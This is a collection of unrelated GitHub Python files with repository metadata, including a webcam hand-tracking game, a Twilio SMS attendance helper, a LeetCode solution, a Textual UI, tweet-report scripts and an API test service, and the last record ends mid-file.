self.hand_tracking.hand_closed #Sets the mouse left click to hand closing\n            # print(\"Hand closed\", self.hand.left_click)\n            if self.hand.left_click: #If hand is closed\n                self.hand.image = self.hand.smaller_image.copy() #Use the hand closed image that has been scaled smaller\n            else: \n                self.hand.image = self.hand.original_image.copy() #Use the hand opened image\n            self.score = self.hand.catch_objects(self.objects, self.score, self.sounds)\n            for object in self.objects:\n                object.move() #Updates its position on the screen\n\n        else: # When the game is over\n            if ui.button(self.surface, 400, \"BACK\", click_sound=self.sounds[\"click\"]):\n                return \"menu\"\n\n        cv2.imshow(\"Frame\", self.frame) #Shows webcam frame on the screen\n        cv2.waitKey(1) #Waits for 1ms before the next frame to create illusion of a live video stream\n\n\n", "repo_name": "audreyfabiola/Catch-the-Penguin", "sub_path": "game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 5344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "background.Background", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.mixer.Sound", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 23, "usage_type": "attribute"}, {"api_name": "hand_tracking.HandTracking", "line_number": 28, "usage_type": "call"}, {"api_name": "hand.Hand", "line_number": 29, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 45, "usage_type": "call"}, {"api_name": "bomb.Bomb", "line_number": 46, "usage_type": "call"}, {"api_name": "penguin.Penguin", "line_number": 48, "usage_type": "call"}, {"api_name": "bomb.Bomb", "line_number": 52, "usage_type": "call"}, {"api_name": "penguin.Penguin", "line_number": 55, "usage_type": "call"}, {"api_name": "time.time", "line_number": 59, "usage_type": "call"}, {"api_name": "ui.draw_text", "line_number": 80, "usage_type": "call"}, {"api_name": "ui.draw_text", "line_number": 83, "usage_type": "call"}, {"api_name": "ui.button", "line_number": 108, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 112, "usage_type": "call"}]}
{"seq_id": "71703958652", "text": "#!/bin/env python3\n\nimport os\nfrom datetime import datetime\nimport csv\nimport config\n\n#os.environ[\"\"]\n\ndef get_date():\n    date = datetime.now()\n    #print(\"date: \",date)\n    return date\n\ndef get_user(number):\n    # From the phone number, function will return user line with no,name,number,position\n    player = \"unfound\"\n    with open('player.csv') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n            if number == row['number']:\n                player_row = row\n                return player_row\n                break\n\n    if player == \"unfound\":\n        print(\"No player found, exiting\")\n\n    elif player != \"unfound\":\n        print(\"Player found, %s.\" %(player_row['name']))\n\n    print(player_row['name'])\n    return player_row\n\n\ndef get_next_game():\n    date = get_date()\n    next_game = \"unfound\"\n    with open('games.csv') as csvfile:\n        reader = csv.DictReader(csvfile)\n        for row in reader:\n\n            row_date = datetime.strptime(row['date'],'%Y-%m-%d')\n            if row_date > date:\n                next_game = row\n\n                return next_game\n                break\n\n        if next_game == \"unfound\":\n            print(\"No next game found, exiting\")\n\n        elif next_game != \"unfound\":\n            print(\"Game found, next one on: %s\" %(next_game)) \n\n        print(next_game)\n    return next_game\n\n\ndef get_raw_msg():\n    return user_number, raw_msg\n\n\ndef get_function(raw_msg):\n    if raw_msg == 'abscent':\n        function = \"abscent\"\n\n    elif raw_msg == 'present':\n        function = 'present'\n    else:\n        function = 'unknown'\n\n    return function\n\ndef analyse_function(function):\n    date = get_date()\n    next_game = get_next_game()\n    msg = \"\"\n    if function == 'unknown':\n        msg = \"Commande non comprise, utiliser present ou abscent pour indiquer votre presende a la prochaine partie.\"\n\n    elif function == 'abscent' or 'present':\n        msg = \"Merci, je vous met %s pour la prochaine partie du %s, a l'arena: %s\" % (function, next_game['date'], next_game['arena'])\n    # print(msg)\n    return msg\n\ndef send_msg(msg,):\n    return\n\n\ndef get_number():\n    return\n\n\ndef nearest(items, pivot):\n    return min(items, key=lambda x: abs(x - pivot))\n\n\ndef pushover(msg, user):\n    # Your Account Sid and Auth Token from twilio.com/console\n\n    account_sid = os.environ[\"TWILIO_ACCOUNT_SID\"]\n    auth_token = os.environ[\"TWILIO_AUTH_TOKEN\"]\n\n   \n    numbers = config.NUMBERS\n    client = Client(account_sid, auth_token)\n\n\n    for number in numbers:\n        message = client.api.account.messages.create(\n                            body=msg,\n                            from_=config.FROM_NUMBER,\n                            to=number)\n        print(message.sid)\n        sleep(2)\n\nif __name__ == \"__main__\":\n    msg = analyse_function('abscent')\n    print(msg)\n", "repo_name": "Mailhot/team-manager", "sub_path": "team_manager/interface/twilio_link.py", "file_name": "twilio_link.py", "file_ext": "py", "file_size_in_byte": 2844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "csv.DictReader", "line_number": 19, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 43, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 43, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 103, "usage_type": "attribute"}, {"api_name": "config.NUMBERS", "line_number": 106, "usage_type": "attribute"}, {"api_name": "config.FROM_NUMBER", "line_number": 113, "usage_type": "attribute"}]}
{"seq_id": "12684140265", "text": "import json\nimport numpy as np\nfrom setuptools.command.easy_install import easy_install\n\n\nclass SatcomScanConfig:\n    def __init__(self,\n                 ifov_radians=np.deg2rad(15),\n                 game_divisor=(6 * 60),\n                 lookang_degree=20,\n                 tl=[4.472, 102.00],\n                 tr=[4.472, 105.00],\n                 bl=[-1, 102.00],\n                 br=[-1, 105.00],\n                 extra=30,\n                 gmat_exec=\"\",\n                 gmat_root_dir=\"\",\n                 gmat_io__dir=\"\",\n                 gmat_startup_template=\"\",\n                 gmat_script_template=\"\"):\n        self.ifov_radians = ifov_radians\n        self.game_divisor = game_divisor\n        self.lookang_degree = lookang_degree\n        self.tl = tl\n        self.tr = tr\n        self.bl = bl\n        self.br = br\n        self.extra = extra\n        self.gmat_exec = gmat_exec\n        self.gmat_root_dir = gmat_root_dir\n        self.gmat_io__dir = gmat_io__dir\n        self.gmat_startup_template = gmat_startup_template\n        self.gmat_script_template = gmat_script_template\n\n    def __repr__(self):\n        return str(vars(self))\n\n\n# ----------------------------------------------------------\n\nclass JsonEncoder(json.JSONEncoder):\n    def default(self, obj):\n        result = None\n        if isinstance(obj, SatcomScanConfig):\n            result = {\n                \"__class__\": \"satcom_scan_configuration\",\n                \"ifov_radians\": obj.ifov_radians,\n                \"game_divisor\": obj.game_divisor,\n                \"lookang_degree\": obj.lookang_degree,\n                \"tl\": obj.tl,\n                \"tr\": obj.tr,\n                \"bl\": obj.bl,\n                \"br\": obj.br,\n                \"extra\": obj.extra,\n                \"gmat_exec\": obj.gmat_exec,\n                \"gmat_root_dir\": obj.gmat_root_dir,\n                \"gmat_io__dir\": obj.gmat_io__dir,\n                \"gmat_startup_template\": obj.gmat_startup_template,\n                \"gmat_script_template\": obj.gmat_script_template\n            }\n        else:\n            print(type(obj))\n            result = super().default(obj)\n\n        return result\n\n\nclass JsonDecoder(json.JSONDecoder):\n    def __init__(self, *args, **kwargs):\n        json.JSONDecoder.__init__(self, object_hook=self.object_hook, *args, **kwargs)\n\n    def object_hook(self, obj):\n        result = None\n        if '__class__' not in obj:\n            result = obj\n        else:\n            class_type = obj['__class__']\n            if class_type == 'satcom_scan_configuration':\n                result = self.parse_satcom_scan_configuration(obj)\n            else:\n                print(\"Unsupported class type\")\n\n        return result\n\n    @staticmethod\n    def parse_satcom_scan_configuration(obj):\n        return SatcomScanConfig(\n            obj['ifov_radians'],\n            obj['game_divisor'],\n            obj['lookang_degree'],\n            obj['tl'],\n            obj['tr'],\n            obj['bl'],\n            obj['br'],\n            obj['extra'],\n            obj['gmat_exec'],\n            obj['gmat_root_dir'],\n            obj['gmat_io__dir'],\n            obj['gmat_startup_template'],\n            obj['gmat_script_template']\n        )\n", "repo_name": "Ssaga/wos2019", "sub_path": "wosBattleshipServer/satcom_scan/cSatcomScannerConfig.py", "file_name": "cSatcomScannerConfig.py", "file_ext": "py", "file_size_in_byte": 3190, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.deg2rad", "line_number": 8, "usage_type": "call"}, {"api_name": "json.JSONEncoder", "line_number": 41, "usage_type": "attribute"}, {"api_name": "json.JSONDecoder", "line_number": 68, "usage_type": "attribute"}, {"api_name": "json.JSONDecoder.__init__", "line_number": 70, "usage_type": "call"}, {"api_name": "json.JSONDecoder", "line_number": 70, "usage_type": "attribute"}]}
{"seq_id": "21118414639", "text": "from collections import defaultdict\n\n\nclass Solution:\n    def isPrintable(self, targetGrid: List[List[int]]) -> bool:\n        \"\"\"\n        1. find color range\n        - color2Range={colorID: (left, right, top, bottom)}\n        2. find color order\n        - build graph, top color as parent, others as children\n        3. check cycle\n        \"\"\"\n        color2Range = {}\n        M = len(targetGrid)\n        N = len(targetGrid[0])\n\n        # define range\n        for ii in range(M):\n            for jj in range(N):\n                color = targetGrid[ii][jj]\n                if color not in color2Range:\n                    color2Range[color] = (N, 0, M, 0)\n                color2Range[color] = (min(color2Range[color][0], jj),\n                                      max(color2Range[color][1], jj),\n                                      min(color2Range[color][2], ii),\n                                      max(color2Range[color][3], ii)\n                                      )\n\n        # define color order via building graph\n        g = defaultdict(set)\n        for ii in range(M):\n            for jj in range(N):\n\n                for color in range(1, 61):\n                    if color not in color2Range:\n                        continue\n                    if jj < color2Range[color][0] or  \\\n                       jj > color2Range[color][1] or  \\\n                       ii < color2Range[color][2] or  \\\n                       ii > color2Range[color][3]:\n                        continue\n\n                    if color != targetGrid[ii][jj]:\n                        g[targetGrid[ii][jj]].add(color)\n\n        visited = {}\n\n        def has_cycle_dfs(curr):\n            \"\"\"\n            return True if has cycle\n                False otherwise\n            :param curr:\n            :return:\n            \"\"\"\n            if curr in visited and visited[curr] == 1:\n                return False\n            if curr in visited and visited[curr] == 2:\n                return True  # has cycle\n\n            visited[curr] = 2\n            for child in g[curr]:\n                if has_cycle_dfs(child):\n                    return True\n            visited[curr] = 1\n\n            return False\n\n        for color in range(1, 61):\n            if color not in color2Range:\n                continue\n            if has_cycle_dfs(color):\n                return False\n\n        return True\n", "repo_name": "1688168/Leetcode", "sub_path": "LC/[1591] Strange-Printer-II.py", "file_name": "[1591] Strange-Printer-II.py", "file_ext": "py", "file_size_in_byte": 2365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "2430293304", "text": "import pyperclip\r\nfrom textual.app import App, ComposeResult\r\nfrom textual.containers import Vertical\r\nfrom textual.widgets import Button, Header, Input, Static\r\n\r\n\r\nclass MainMenu(App):\r\n    def compose(self) -> ComposeResult:\r\n        yield Header(show_clock=True)\r\n        yield Static(\"Select an option:\", classes=\"center\", id=\"toptext\")\r\n        yield Static(\r\n            \"Download info - Downloads info from Twitter in JSON form.\",\r\n            classes=\"center\",\r\n        )\r\n        yield Static(\r\n            \"Download media from info - Looks at the URLs in the JSON files and then downloads their media.\",\r\n            classes=\"center\",\r\n        )\r\n        yield Vertical(\r\n            Button(\"Download info\", id=\"info\", variant=\"primary\", classes=\"button\"),\r\n            Button(\r\n                \"Download media from info\",\r\n                id=\"download\",\r\n                variant=\"error\",\r\n                classes=\"button\",\r\n            ),\r\n            classes=\"center\",\r\n        )\r\n\r\n    def on_button_pressed(self, event: Button.Pressed) -> None:\r\n        self.exit(event.button.id)\r\n\r\n\r\nclass ChooseOption(App):\r\n    def compose(self) -> ComposeResult:\r\n        yield Header(show_clock=True)\r\n        yield Static(\"Select an option:\", classes=\"center\", id=\"toptext\")\r\n        yield Vertical(\r\n            Button(\r\n                \"Tweets and retweets\", name=\"1\", variant=\"primary\", classes=\"button\"\r\n            ),\r\n            Button(\"Likes\", name=\"2\", variant=\"secondary\", classes=\"button\"),\r\n            Button(\"Bookmarks\", name=\"3\", variant=\"primary\", classes=\"button\"),\r\n            Button(\"Following\", name=\"4\", variant=\"secondary\", classes=\"button\"),\r\n            classes=\"center\",\r\n        )\r\n\r\n    def on_button_pressed(self, event: Button.Pressed) -> None:\r\n        self.exit(int(event.button.name))\r\n\r\n\r\nclass InputCode(App):\r\n    def action_copy_text(self):\r\n        pyperclip.copy(self.authorize_url)\r\n        self.bell()\r\n\r\n    def compose(self) -> ComposeResult:\r\n        yield Header(show_clock=True)\r\n        yield Static(\r\n            f\"Open this site (click to copy):\\n[@click='copy_text()']{self.authorize_url}[/]\",\r\n            classes=\"center\",\r\n            id=\"toptext\",\r\n        )\r\n        yield Static(\r\n            \"Input the code that you received here:\", classes=\"center\", id=\"lilpad\"\r\n        )\r\n        yield Input(placeholder=\"Paste it here\", id=\"input\")\r\n        yield Vertical(\r\n            Button(\"PASTE\", variant=\"secondary\", classes=\"button\", id=\"paste\"),\r\n            Button(\"CONFIRM\", variant=\"primary\", classes=\"button\"),\r\n            classes=\"center\",\r\n        )\r\n\r\n    def on_button_pressed(self, event: Button.Pressed) -> None:\r\n        if event.button.id == \"paste\":\r\n            self.query_one(Input).value = pyperclip.paste()\r\n        else:\r\n            self.exit(self.query_one(Input).value)\r\n", "repo_name": "jericjan/twitter-archiver", "sub_path": "UI.py", "file_name": "UI.py", "file_ext": "py", "file_size_in_byte": 2853, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "textual.app.App", "line_number": 7, "usage_type": "name"}, {"api_name": "textual.widgets.Header", "line_number": 9, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 10, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 11, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 15, "usage_type": "call"}, {"api_name": "textual.containers.Vertical", "line_number": 19, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 20, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 21, "usage_type": "call"}, {"api_name": "textual.app.ComposeResult", "line_number": 8, "usage_type": "name"}, {"api_name": "textual.widgets.Button.Pressed", "line_number": 30, "usage_type": "attribute"}, {"api_name": "textual.widgets.Button", "line_number": 30, "usage_type": "name"}, {"api_name": "textual.app.App", "line_number": 34, "usage_type": "name"}, {"api_name": "textual.widgets.Header", "line_number": 36, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 37, "usage_type": "call"}, {"api_name": "textual.containers.Vertical", "line_number": 38, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 39, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 42, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 43, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 44, "usage_type": "call"}, {"api_name": "textual.app.ComposeResult", "line_number": 35, "usage_type": "name"}, {"api_name": "textual.widgets.Button.Pressed", "line_number": 48, "usage_type": "attribute"}, {"api_name": "textual.widgets.Button", "line_number": 48, "usage_type": "name"}, {"api_name": "textual.app.App", "line_number": 52, "usage_type": "name"}, {"api_name": "pyperclip.copy", "line_number": 54, "usage_type": "call"}, {"api_name": "textual.widgets.Header", "line_number": 58, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 59, "usage_type": "call"}, {"api_name": "textual.widgets.Static", "line_number": 64, "usage_type": "call"}, {"api_name": "textual.widgets.Input", "line_number": 67, "usage_type": "call"}, {"api_name": "textual.containers.Vertical", "line_number": 68, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 69, "usage_type": "call"}, {"api_name": "textual.widgets.Button", "line_number": 70, "usage_type": "call"}, {"api_name": "textual.app.ComposeResult", "line_number": 57, "usage_type": "name"}, {"api_name": "textual.widgets.Button.Pressed", "line_number": 74, "usage_type": "attribute"}, {"api_name": "textual.widgets.Button", "line_number": 74, "usage_type": "name"}, {"api_name": "textual.widgets.Input", "line_number": 76, "usage_type": "argument"}, {"api_name": "pyperclip.paste", "line_number": 76, "usage_type": "call"}, {"api_name": "textual.widgets.Input", "line_number": 78, "usage_type": "argument"}]}
{"seq_id": "28538949176", "text": "import shutil\nimport sys\nimport json\nfrom dpla_local_map import dpla_local_map\n\n\ndef rec_gen(source_file):\n    \"\"\"\n    :param source_file: JSON file of SSDN records\n    :return: Generator or records in source_file\n    \"\"\"\n    with open(source_file + \".bak\") as f:\n        recs = json.load(f)\n        for rec in recs:\n            yield rec\n\n\ndef sub_gen(rec):\n    \"\"\"\n    :param rec: JSON record\n    :return: Generator of subjects in rec\n    \"\"\"\n    try:\n        for sub in rec['sourceResource']['subject']:\n            yield sub\n    except KeyError:\n        pass\n\n\n# create a backup of input file\nshutil.move(sys.argv[1], sys.argv[1] + \".bak\")\nout = open(sys.argv[1], 'a', encoding='utf8', newline='\\n')\nfor rec in rec_gen(sys.argv[1]):\n    for sub in sub_gen(rec):\n        '''\n        check existing subjects against mapped terms \n        and make sure supplied subject isn't already\n        in record\n        '''\n        if sub['name'] in dpla_local_map.keys() and dpla_local_map[sub['name']][0][0] not in [term['name'] for term in\n                                                                                              rec['sourceResource'][\n                                                                                                  'subject']]:\n            if len(dpla_local_map[sub['name']]) > 1:\n                for item in dpla_local_map[sub['name']]:\n                    rec['sourceResource']['subject'].append({'name': item[0], \"@id\": item[1]})\n                break\n            else:\n                rec['sourceResource']['subject'].append(\n                    {'name': dpla_local_map[sub['name']][0][0], \"@id\": dpla_local_map[sub['name']][0][1]})\n                break\n    out.write(json.dumps(rec) + '\\n')\n", "repo_name": "mrmiguez/dpla_local_subjects", "sub_path": "dpla_local_subjects.py", "file_name": "dpla_local_subjects.py", "file_ext": "py", "file_size_in_byte": 1731, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.load", "line_number": 13, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 33, "usage_type": "attribute"}, {"api_name": "dpla_local_map.dpla_local_map.keys", "line_number": 40, "usage_type": "call"}, {"api_name": "dpla_local_map.dpla_local_map", "line_number": 40, "usage_type": "name"}, {"api_name": "dpla_local_map.dpla_local_map", "line_number": 43, "usage_type": "name"}, {"api_name": "dpla_local_map.dpla_local_map", "line_number": 44, "usage_type": "name"}, {"api_name": "dpla_local_map.dpla_local_map", "line_number": 49, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "12925898519", "text": "from datetime import datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os.path\nimport pandas as pd\nimport sqlalchemy as sa\n\nfrom . import model\n\ndef main(cli, args):\n    db = cli.connect_db(args.db)\n\n    format = args.format\n    if not format:\n        _, ext = os.path.splitext(args.output_file)\n        if ext == '.csv':\n            format = 'csv'\n        elif ext == '.xlsx':\n            format = 'excel'\n        else:\n            cli.abort('could not guess file format from extension')\n\n    if format == 'csv':\n        format_is_text = True\n    elif format == 'excel':\n        format_is_text = False\n    else:\n        cli.abort('unrecognized file format')\n\n    Tweet = model.Tweet\n    User = model.User\n\n    as_txt = lambda col: sa.cast(col, sa.Text).label(col.name)\n    q = (\n        db.query(\n            as_txt(Tweet.id),\n            Tweet.created_at,\n            as_txt(Tweet.user_id),\n            User.nick,\n            Tweet.user_description,\n            Tweet.user_verified,\n            Tweet.user_followers_count,\n            Tweet.user_friends_count,\n            Tweet.user_listed_count,\n            Tweet.user_statuses_count,\n            Tweet.user_favorites_count,\n            Tweet.user_created_at,\n            as_txt(Tweet.in_reply_to_tweet_id),\n            as_txt(Tweet.in_reply_to_user_id),\n            as_txt(Tweet.quoted_tweet_id),\n            as_txt(Tweet.rt_tweet_id),\n            Tweet.updated_at,\n            Tweet.favorite_count,\n            Tweet.retweet_count,\n            Tweet.reply_count,\n            Tweet.quote_count,\n            Tweet.lang,\n            Tweet.text,\n        )\n        .join(\n            model.User,\n            model.User.id == model.Tweet.user_id,\n        )\n        .order_by(model.Tweet.created_at.asc())\n    )\n\n    df = model.query_to_pandas(q)\n\n    with cli.output_file(args.output_file, text=format_is_text) as fp:\n        if format == 'csv':\n            df.to_csv(fp, index=False)\n        elif format == 'excel':\n            with pd.ExcelWriter(\n                fp,\n                engine='xlsxwriter',\n                options=dict(\n                    strings_to_numbers=False,\n                ),\n            ) as writer:\n                df.to_excel(writer, index=False)\n\ndef main_plot(cli, args):\n    db = cli.connect_db(args.db)\n\n    date_col = sa.func.date(model.Tweet.created_at).label('date')\n    tweets = (\n        db.query(\n            date_col,\n            sa.func.count().label('count'),\n        )\n        .filter(model.Tweet.created_at.between(\n            datetime(2019, 3, 20),\n            datetime(2019, 5, 10),\n        ))\n        # .filter(model.Tweet.in_reply_to_tweet_id.is_(None))\n        .filter(model.Tweet.rt_tweet_id.is_(None))\n        .filter(sa.func.lower(model.Tweet.text).like('%#saam%'))\n        .group_by(date_col)\n        .order_by(date_col.asc())\n        .all()\n    )\n    dates = [t.date for t in tweets]\n    counts = [t.count for t in tweets]\n\n    fig, ax = plt.subplots()\n    x = np.arange(len(dates))\n    plt.bar(x, counts)\n    plt.xticks(x, dates)\n    with cli.output_file(args.output_file, text=False) as fp:\n        plt.savefig(fp, format='png')\n", "repo_name": "mmerickel/twitter-listener", "sub_path": "tweeter/report.py", "file_name": "report.py", "file_ext": "py", "file_size_in_byte": 3153, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.path.splitext", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "sqlalchemy.cast", "line_number": 33, "usage_type": "call"}, {"api_name": "sqlalchemy.Text", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pandas.ExcelWriter", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlalchemy.func.date", "line_number": 85, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sqlalchemy.func.count", "line_number": 89, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 89, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 93, "usage_type": "call"}, {"api_name": "sqlalchemy.func.lower", "line_number": 97, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 97, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}]}
{"seq_id": "34820365486", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2017\r\n\r\n@author: li.taojun\r\n'''\r\n\r\nimport requests\r\nfrom uopweixin.util.configurl import userActiviesUrl\r\nfrom uopweixin.util.jsonTransform import transUopHttpHears\r\n# from com.uop.weixin.user.center.address.json.memberAddJonsParseport parseMemberDefalutAddJSON\r\n# from com.uop.weixin.user.activity.raffle.json.signUpActivitiesJsonParse import transUserSignupActivitiesHttpJson\r\nfrom uopweixin.activity.raffle.userSignActivitiesCpr import checkSignUpActivitiesResultFormat\r\nfrom uopweixin.center.activities.ParseCenterActivitiesJson import parseActivitiesStatus,parseActivitiesIdFromJson,parseMyActivitiesIDFromJson\r\nimport json\r\nclass PersonalActiviesService(object):\r\n    '''\r\n    classdocs\r\n    '''\r\n    #userSignupActivitiesurl = signUpOpenActUrl\r\n    memberId = None\r\n    openid = None\r\n    def __init__(self, memberId,openid):\r\n        '''\r\n        Constructor li.taojun\r\n        '''\r\n        self.memberId = memberId\r\n        self.openid = openid\r\n        self.userActiviesUrl = userActiviesUrl\r\n        \r\n    #获取我的活动列表\r\n    def userActivies(self):\r\n        jsonheart = transUopHttpHears(self.memberId,self.openid)\r\n        actjson = {\"memberId\":self.memberId,\"page\":1,\"limit\":10}\r\n        activityrspjson = requests.post(url=self.userActiviesUrl,json = actjson,headers = jsonheart,verify=False)\r\n        return activityrspjson\r\n    \r\n    #根据活动ID获取我的活动中信息\r\n    def getMyActivitiesByID(self,activitiesId = \"\",activityrspjson=\"\"):\r\n#       actjson = self.userActivies()\r\n        myactivities = parseMyActivitiesIDFromJson(activityrspjson,activitiesId)\r\n        return myactivities\r\n    \r\n    #获取活动状态\r\n    def getMyActivitiesStatus(self,activitiesId):\r\n        myactivities = self.getMyActivitiesByID(activitiesId)\r\n        actstatus = parseActivitiesStatus(myactivities)\r\n        return actstatus\r\n        \r\n    #得到活动ID列表\r\n    def getActivitiesidList(self):\r\n        actjson = self.userActivies()\r\n        actidls = parseActivitiesIdFromJson(response = json.loads(actjson.text))\r\n        return actidls\r\n    \r\n    \r\n    #检查活动ID是否存在\r\n    def checkActivitiesExsit(self,activiId = \"\"):\r\n        sign = False\r\n        actidls = self.getActivitiesidList()\r\n        if activiId in actidls:\r\n            sign = True\r\n        return sign\r\n    \r\n    \r\n    def setUserActiviesUrl(self,url):\r\n        self.userActiviesUrl = url\r\n        \r\n        \r\nif __name__ == '__main__':\r\n    a = PersonalActiviesService('997da560-6de2-4056-8614-e7cd95dd967b','ovQBPxGwi5RUfDoZDc-xep7EraEI')\r\n    a.setUserActiviesUrl('https://dev-uop-api.opg.cn/activities-service/raffleResult/getMemberRaffleReCords')\r\n    acils = a.getActivitiesidList()\r\n    print(acils)\r\n    ", "repo_name": "litaojun/uopinterfacetest", "sub_path": "uopweixin/center/activities/userCenterActivitiesService.py", "file_name": "userCenterActivitiesService.py", "file_ext": "py", "file_size_in_byte": 2791, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "uopweixin.util.configurl.userActiviesUrl", "line_number": 30, "usage_type": "name"}, {"api_name": "uopweixin.util.jsonTransform.transUopHttpHears", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 36, "usage_type": "call"}, {"api_name": "uopweixin.center.activities.ParseCenterActivitiesJson.parseMyActivitiesIDFromJson", "line_number": 42, "usage_type": "call"}, {"api_name": "uopweixin.center.activities.ParseCenterActivitiesJson.parseActivitiesStatus", "line_number": 48, "usage_type": "call"}, {"api_name": "uopweixin.center.activities.ParseCenterActivitiesJson.parseActivitiesIdFromJson", "line_number": 54, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "428583675", "text": "from collections import defaultdict\n\nfrom sklearn import clone\nfrom sklearn.svm import LinearSVC\n\nfrom binary_tree_regressor import BinaryTreeRegressor\n\n\nclass RegressionQuantifier(object):\n    def __init__(self, pipeline=None):\n        if pipeline is None:\n            self._pipeline = BinaryTreeRegressor(base_estimator=LinearSVC(C=100.0))\n        else:\n            self._pipeline = pipeline\n\n    def fit(self, X, y, groups):\n        self._true_global_prevalences = defaultdict(float)\n        self._values = list(set(y))\n        self._values.sort()\n        for rate in self._values:\n            self._true_global_prevalences[rate] = y.count(rate) / len(y)\n        self._estimated_global_prevalences = defaultdict(float)\n        for group in set(groups):\n            group_X = [atext for atext, agroup in zip(X, groups) if agroup == group]\n            notgroup_X = [atext for atext, agroup in zip(X, groups) if agroup != group]\n            notgroup_y = [alabel for alabel, agroup in zip(y, groups) if agroup != group]\n            pipclone = clone(self._pipeline)\n            model = pipclone.fit(notgroup_X, notgroup_y)\n            predictions = model.predict(group_X)\n\n            for rate in self._values:\n                self._estimated_global_prevalences[rate] += predictions.count(rate)\n\n        for rate in self._values:\n            self._estimated_global_prevalences[rate] /= len(y)\n\n        self._model = self._pipeline.fit(X, y)\n\n    def predict(self, X, groups):\n        predictions = self._model.predict(X)\n        quantifications = dict()\n        test_global_prevalences = defaultdict(float)\n        for rate in self._values:\n            test_global_prevalences[rate] = predictions.count(rate) / len(X)\n        for group in set(groups):\n            group_predictions = [prediction for prediction, agroup in zip(predictions, groups) if agroup == group]\n            simple_prevanlences = list()\n            corrected_prevalences = list()\n            test_corrected_prevalences = list()\n            for rate in self._values:\n                prevalence = group_predictions.count(rate) / len(group_predictions)\n                simple_prevanlences.append(prevalence)\n                if 